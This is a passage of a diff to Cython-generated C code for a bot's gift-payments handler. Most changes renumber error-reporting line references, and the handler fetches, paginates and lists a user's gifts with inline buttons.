(unlikely(PyErr_Occurred())) __PYX_ERR(0, 55, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 57, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("my_gifts_handler", 1, 2, 2, 1); __PYX_ERR(0, 55, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("my_gifts_handler", 1, 2, 2, 1); __PYX_ERR(0, 57, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "my_gifts_handler") < 0)) __PYX_ERR(0, 55, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "my_gifts_handler") < 0)) __PYX_ERR(0, 57, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -4792,7 +4827,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("my_gifts_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 55, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("my_gifts_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 57, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -4831,7 +4866,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_3my_gifts_handler(CYTHON_UNU if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 55, __pyx_L1_error) + __PYX_ERR(0, 57, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -4842,7 +4877,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_3my_gifts_handler(CYTHON_UNU __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_5generator1, __pyx_codeobj__3, (PyObject *) __pyx_cur_scope, __pyx_n_s_my_gifts_handler, __pyx_n_s_my_gifts_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_5generator1, __pyx_codeobj__3, (PyObject *) __pyx_cur_scope, __pyx_n_s_my_gifts_handler, __pyx_n_s_my_gifts_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -4891,20 +4926,20 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 55, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 57, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_user_tg_id = __pyx_t_2; __pyx_t_2 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -4925,7 +4960,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u__4}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -4933,13 +4968,13 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_data_parts = __pyx_t_2; __pyx_t_2 = 0; - __pyx_t_5 = PyObject_Length(__pyx_cur_scope->__pyx_v_data_parts); if (unlikely(__pyx_t_5 == ((Py_ssize_t)-1))) __PYX_ERR(0, 61, __pyx_L1_error) + __pyx_t_5 = PyObject_Length(__pyx_cur_scope->__pyx_v_data_parts); if (unlikely(__pyx_t_5 == ((Py_ssize_t)-1))) __PYX_ERR(0, 63, __pyx_L1_error) __pyx_t_6 = (__pyx_t_5 > 1); if (__pyx_t_6) { - __pyx_t_2 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data_parts, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L1_error) + __pyx_t_2 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data_parts, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_3); @@ -4956,7 +4991,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } __pyx_L4:; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_fetch); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 66, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_fetch); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; @@ -4977,7 +5012,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_kp_u_SELECT_gift_id_selected_months, __pyx_cur_scope->__pyx_v_user_tg_id}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 66, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -4992,22 +5027,22 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 66, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 68, __pyx_L1_error) __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); } else { __pyx_t_3 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 66, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); } __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_gifts = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_gifts); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_gifts); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 77, __pyx_L1_error) __pyx_t_7 = (!__pyx_t_6); if (__pyx_t_7) { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; __pyx_t_4 = 0; @@ -5027,7 +5062,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -5035,21 +5070,21 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_BACK); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_GIFTS_MENU); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_gifts) < 0) __PYX_ERR(0, 77, __pyx_L1_error) - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 77, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_gifts) < 0) __PYX_ERR(0, 79, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5072,28 +5107,28 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target_message, __pyx_t_9) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target_message, __pyx_t_9) < 0) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_NO_GIFTS); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_NO_GIFTS); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_8 = NULL; __pyx_t_4 = 0; @@ -5113,14 +5148,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 79, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -5135,12 +5170,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L7_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 79, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 81, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 79, __pyx_L1_error) + else __PYX_ERR(0, 81, __pyx_L1_error) } } @@ -5150,25 +5185,25 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_GIFTS_PER_PAGE); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_GIFTS_PER_PAGE); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_2 = PyNumber_Multiply(__pyx_cur_scope->__pyx_v_current_page, __pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 86, __pyx_L1_error) + __pyx_t_2 = PyNumber_Multiply(__pyx_cur_scope->__pyx_v_current_page, __pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_start = __pyx_t_2; __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_GIFTS_PER_PAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_GIFTS_PER_PAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_9 = PyNumber_Add(__pyx_cur_scope->__pyx_v_start, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 87, __pyx_L1_error) + __pyx_t_9 = PyNumber_Add(__pyx_cur_scope->__pyx_v_start, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_9); __pyx_cur_scope->__pyx_v_end = __pyx_t_9; __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyObject_GetSlice(__pyx_cur_scope->__pyx_v_gifts, 0, 0, &__pyx_cur_scope->__pyx_v_start, &__pyx_cur_scope->__pyx_v_end, NULL, 0, 0, 1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 88, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetSlice(__pyx_cur_scope->__pyx_v_gifts, 0, 0, &__pyx_cur_scope->__pyx_v_start, &__pyx_cur_scope->__pyx_v_end, NULL, 0, 0, 1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_9); __pyx_cur_scope->__pyx_v_gifts_page = __pyx_t_9; @@ -5178,7 +5213,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_kp_u_b_b); __pyx_cur_scope->__pyx_v_gifts_text = __pyx_kp_u_b_b; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -5198,7 +5233,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 91, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -5211,9 +5246,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_t_5 = 0; __pyx_t_10 = NULL; } else { - __pyx_t_5 = -1; __pyx_t_9 = PyObject_GetIter(__pyx_cur_scope->__pyx_v_gifts_page); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_5 = -1; __pyx_t_9 = PyObject_GetIter(__pyx_cur_scope->__pyx_v_gifts_page); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_10 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 95, __pyx_L1_error) } for (;;) { if (likely(!__pyx_t_10)) { @@ -5221,28 +5256,28 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO { Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_9); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 93, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 95, __pyx_L1_error) #endif if (__pyx_t_5 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_2 = PyList_GET_ITEM(__pyx_t_9, __pyx_t_5); __Pyx_INCREF(__pyx_t_2); __pyx_t_5++; if (unlikely((0 < 0))) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_2 = PyList_GET_ITEM(__pyx_t_9, __pyx_t_5); __Pyx_INCREF(__pyx_t_2); __pyx_t_5++; if (unlikely((0 < 0))) __PYX_ERR(0, 95, __pyx_L1_error) #else - __pyx_t_2 = __Pyx_PySequence_ITEM(__pyx_t_9, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_2 = __Pyx_PySequence_ITEM(__pyx_t_9, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); #endif } else { { Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_9); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 93, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 95, __pyx_L1_error) #endif if (__pyx_t_5 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_2 = PyTuple_GET_ITEM(__pyx_t_9, __pyx_t_5); __Pyx_INCREF(__pyx_t_2); __pyx_t_5++; if (unlikely((0 < 0))) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_2 = PyTuple_GET_ITEM(__pyx_t_9, __pyx_t_5); __Pyx_INCREF(__pyx_t_2); __pyx_t_5++; if (unlikely((0 < 0))) __PYX_ERR(0, 95, __pyx_L1_error) #else - __pyx_t_2 = __Pyx_PySequence_ITEM(__pyx_t_9, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_2 = __Pyx_PySequence_ITEM(__pyx_t_9, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); #endif } @@ -5252,7 +5287,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); - else __PYX_ERR(0, 93, __pyx_L1_error) + else __PYX_ERR(0, 95, __pyx_L1_error) } break; } @@ -5263,24 +5298,24 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = 